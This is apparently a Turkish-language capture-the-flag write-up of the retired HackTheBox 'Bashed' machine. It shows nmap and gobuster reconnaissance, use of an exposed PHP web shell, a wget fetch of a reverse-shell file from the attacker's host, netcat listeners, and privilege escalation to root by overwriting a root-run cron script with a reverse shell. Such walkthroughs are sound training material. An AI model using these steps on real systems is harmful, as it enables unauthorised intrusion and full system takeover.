Bu ilk yazımda HackTheBox'ta emekliye ayrılan Bashed makinasının çözümünü sizlerle paylaşacağım.
HackTheBox kullanıcıların verdiği puana göre makina zorluk derecesi açısından kolay diyebiliriz.
diffuculty

Her zaman olduğu gibi ilk olarak Nmap taramasının sonuçlarına bakıyoruz:

[email protected]:~# nmap -A -sV 10.10.10.68
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-19 07:43 GMT
Nmap scan report for 10.10.10.68
Host is up (0.14s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site

Nmap done: 1 IP address (1 host up) scanned in 29.56 seconds

Hızlıca yaptığımız 1000 portluk tarama sonrasında ayrıca tüm port aralığını (1-65535) arıyarak yukarıdaki aynı sonucun geleceğinden ve başka portlarda herhangi bir servis olmaması için tekrar kontrol edeceğim. Bu arada web servisi üzerinde çalıştığı için diğer taraftan DirBuster(GUI ile gelmektedir), GoBuster veya dirb ile dizinleri kontrol edebilirsiniz, ben burada gobuster kullanacağım. İlk olarak 80 portunda çalışan websitesine tarayıcımızla bir göz atalım.

websitesi

Websitesini ziyaret ettiğimizde phpbash geliştirilmesiyle ilgili çeşitli girilen açıklamalara ulaşıyoruz. Makinayı hazırlayan Arrexel'in github linkiyle beraber paylaştığı phpbash scriptine buradan ulaşabilirsiniz. Eğer github üzerinde kodunu incelerseniz tarayıcı üzerinde çalışan kullanıcı etkileşimli komut girilmesine izin veren php web shell'in görüceksiniz ki bu saldırı gerçekleştirilmesi için harika bir alan. Şimdi GoBuster'la ne sonuçlar elde ettiğimize bakalım.

gobuster -u 10.10.10.68 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt

gobuster komutunda:

  • -x vererek dosya uzantısı,
  • -w ile kullanmak istediğiniz sözlüğü belirtebiliyorsunuz.

GoBuster'la elde ettiğimiz sonuca göre /uploads, /php, /dev klasörleri ilgi çekici gözüküyor. "uploads" dizine gittiğimizde bizi index sayfası karşılıyor ve dosya listeleme yapamıyoruz. "dev" dizinine gittiğinizde phpbash.php dosyası tam olarak aradığımız dosya olarak karşımıza çıkıyor.
phpbash

İlk olarak makinada id komutunu çalıştırarak user ve group id'lerini öğrenelim daha sonrasında user.txt flagini almak için /home dizinene erişimine yetkimiz var mı hemen sorgulayalım.

[email protected]:/var/www/html/dev# id

uid=33(www-data) gid=33(www-data) groups=33(www-data)
[email protected]:/var/www/html/dev# cd /home
[email protected]:/home# ls
arrexel
scriptmanager
[email protected]:/home# cd arrexel
[email protected]:/home/arrexel# ls -la
total 36
drwxr-xr-x 4 arrexel arrexel 4096 Dec 4 2017 .
drwxr-xr-x 4 root root 4096 Dec 4 2017 ..
-rw------- 1 arrexel arrexel 1 Dec 23 2017 .bash_history
-rw-r--r-- 1 arrexel arrexel 220 Dec 4 2017 .bash_logout
-rw-r--r-- 1 arrexel arrexel 3786 Dec 4 2017 .bashrc
drwx------ 2 arrexel arrexel 4096 Dec 4 2017 .cache
drwxrwxr-x 2 arrexel arrexel 4096 Dec 4 2017 .nano
-rw-r--r-- 1 arrexel arrexel 655 Dec 4 2017 .profile
-rw-r--r-- 1 arrexel arrexel 0 Dec 4 2017 .sudo_as_admin_successful
-r--r--r-- 1 arrexel arrexel 33 Dec 4 2017 user.txt

[email protected]:/home/arrexel# cat user.txt
VE BINGO user.txt buldunuz :)

Privilege Escalation yapmadan önce webshell dışında reverse shell açmaya çalışalım, ilerleyen bölümlerde neden reverse shell açmamızın daha faydalı olacağını sizlerle paylaşacağım. İlk olarak github üzerinde paylaştığım php tiny reverse shell'i buradan indirebilirsiniz.
reverseshell.php dosyası içerisinde yer alan 10.10.10.10 IP adresini ve 1234 olan portu kendinize göre düzenleyin.

Web shell üzerinden gezinirken /var/www/html/uploads dizinine www-data kullanıcısı ile yazma yetkimiz bulunmaktadır. Buraya reverseshell.php dosyamızı yazabilir daha sonrasında tarayıcı üzerinden reverseshell.php dosyamızı çağırabiliriz. Neden direk olarak webshell üzerinden nc ile reverse yapmıyoruz? Bunun sebebi girilen her komut çalıştırıldıktan sonra ömrünü Arrexel'in geliştiridiği web shell'de yitiriyor biz ne kadar sonuna 0>&1 eklesekte.
Kendi lokalimizden dosya göndermek için neredeyse her zaman kullandığım favori python modülümüzü kullanalım. SimpleHTTPServer

[email protected]:~/Desktop/bashed# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...

Daha sonrasında http://10.10.10.68/dev/phpbash.php adresinden dosyamızı çekmek için gereken komutları yazalım.

[email protected]:/var/www/html/uploads# wget http://10.10.X.21/reverseshell.php

--2019-02-19 00:27:25-- http://10.10.X.21/reverseshell.php
Connecting to 10.10.X.21:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 72 [application/octet-stream]
Saving to: 'reverseshell.php'

0K 100% 14.0M=0s

2019-02-19 00:27:25 (14.0 MB/s) - 'reverseshell.php' saved [72/72]

Aşağıdaki gibi lokalimizde netcat listener ayarlanması yapalım,

[email protected]:~/Desktop/bashed# nc -nvlp 1234
listening on [any] 1234 ...

Ve geriye http://10.10.10.68/uploads/reverseshell.php çağırmak kalıyor.
nc ile dinlediğimiz porta aşağıdaki şekilde bağlantı sağlanıncak:

[email protected]:~/Desktop/bashed# nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.X.21] from (UNKNOWN) [10.10.10.68] 37420
bash: cannot set terminal process group (743): Inappropriate ioctl for device
bash: no job control in this shell
[email protected]:/var/www/html/uploads$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[email protected]:/var/www/html/uploads$ 

Shell üzerinde daha rahat çalışabilmek için:

$ python -c "import pty; pty.spawn('/bin/bash');"

Root dizininde gezindiğimizde scripts adlı dizin ve altındaki bazı dosyaları görebiliyoruz. İngilizlerin dediği gibi "Enumerate More..."

[email protected]:/$ ls -la
ls -la
total 88
drwxr-xr-x  23 root          root           4096 Dec  4  2017 .
drwxr-xr-x  23 root          root           4096 Dec  4  2017 ..
drwxr-xr-x   2 root          root           4096 Dec  4  2017 bin
drwxr-xr-x   3 root          root           4096 Dec  4  2017 boot
drwxr-xr-x  19 root          root           4240 Feb 17 22:14 dev
drwxr-xr-x  89 root          root           4096 Dec  4  2017 etc
drwxr-xr-x   4 root          root           4096 Dec  4  2017 home
lrwxrwxrwx   1 root          root             32 Dec  4  2017 initrd.img -> boot/initrd.img-4.4.0-62-generic
drwxr-xr-x  19 root          root           4096 Dec  4  2017 lib
drwxr-xr-x   2 root          root           4096 Dec  4  2017 lib64
drwx------   2 root          root          16384 Dec  4  2017 lost+found
drwxr-xr-x   4 root          root           4096 Dec  4  2017 media
drwxr-xr-x   2 root          root           4096 Feb 15  2017 mnt
drwxr-xr-x   2 root          root           4096 Dec  4  2017 opt
dr-xr-xr-x 121 root          root              0 Feb 17 22:14 proc
drwx------   3 root          root           4096 Dec  4  2017 root
drwxr-xr-x  18 root          root            520 Feb 18 06:25 run
drwxr-xr-x   2 root          root           4096 Dec  4  2017 sbin
drwxrwxr--   2 scriptmanager scriptmanager  4096 Dec  4  2017 scripts
drwxr-xr-x   2 root          root           4096 Feb 15  2017 srv
dr-xr-xr-x  13 root          root              0 Feb 17 22:14 sys
drwxrwxrwt  10 root          root           4096 Feb 19 00:48 tmp
drwxr-xr-x  10 root          root           4096 Dec  4  2017 usr
drwxr-xr-x  12 root          root           4096 Dec  4  2017 var
lrwxrwxrwx   1 root          root             29 Dec  4  2017 vmlinuz -> boot/vmlinuz-4.4.0-62-generic
[email protected]:/$ cd scrpits
cd scrpits
bash: cd: scrpits: No such file or directory
[email protected]:/$ cd scripts
cd scripts
bash: cd: scripts: Permission denied
[email protected]:/$ ls -la scripts
ls -la scripts
ls: cannot access 'scripts/..': Permission denied
ls: cannot access 'scripts/test.py': Permission denied
ls: cannot access 'scripts/test.txt': Permission denied
ls: cannot access 'scripts/.': Permission denied
total 0
d????????? ? ? ? ?            ? .
d????????? ? ? ? ?            ? ..
-????????? ? ? ? ?            ? test.py
-????????? ? ? ? ?            ? test.txt

Hmm burada ilginç bir dizin görüyoruz, /scripts dizini ve sahibi olarak scriptmanager. www-data kullanıcısıyla sadece dizini okuma yetkimiz bulunduğu için en azından dizin içerisinde bulunan dosyaları görebiliyoruz.

sudo -l

komutunu çalıştıralım.

 [email protected]:/$ sudo -l
sudo -l
Matching Defaults entries for www-data on bashed:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bashed:
    (scriptmanager : scriptmanager) NOPASSWD: ALL

www-data kullanıcısı scriptmanager olarak komut çalıştırabileceğini görüyoruz.

[email protected]:/$ sudo -u scriptmanager /bin/bash
sudo -u scriptmanager /bin/bash
[email protected]:/$ 

Tekrardan /scripts dizine gidelim,

[email protected]:/scripts$ ls -la
ls -la
total 16
drwxrwxr--  2 scriptmanager scriptmanager 4096 Dec  4  2017 .
drwxr-xr-x 23 root          root          4096 Dec  4  2017 ..
-rw-r--r--  1 scriptmanager scriptmanager   58 Dec  4  2017 test.py
-rw-r--r--  1 root          root            12 Feb 19 01:58 test.txt
[email protected]:/scripts$ cat test.py
cat test.py
f = open("test.txt", "w")
f.write("testing 123!")
f.close
[email protected]:/scripts$ cat test.txt
cat test.txt
testing [email protected]:/scripts$ 

Görüldüğü üzere test.py çalıştırıldığında, test.txt dosyasına içerikleri scriptteki şekilde basıyor. Burada dikkat edilmesi gereken nokta test.txt dosyası root tarafından kontrol edilmekte fakat test.py dosyasının sahibi scriptmanager. Bir diğer değişle test.txt dosyası her dakika değişiyor böylelikle bu dosyanın cron job tarzı bir yapıyla tetiklenmesi pek muhtemel ve bu cron root yetkili kullanıcısıyla çalışıyor gibi. Bu scripti editleyerek root.txt flag'e erişebilir veya netcat ile kendimize reverse shell açabiliriz.
Pentestmonkey üzerinden aldığımız Python reverse shell'i düzenleyip kullanabiliriz. test.py dosyasını açalım ve linkteki dosyadaki IP ve PORTları değiştirelim.
Script linki için tıklayınız.

Lokalimizde netcat ile 1453 portundan dinlemeye geçelim:
[email protected]:~# nc -lnvp 1453
listening on [any] 1453 ...
connect to [10.10.x.21] from (UNKNOWN) [10.10.10.68] 50176
/bin/sh: 0: can’t access tty; job control turned off
# whoami
root

Bir sonraki makinelerde görüşmek üzere :)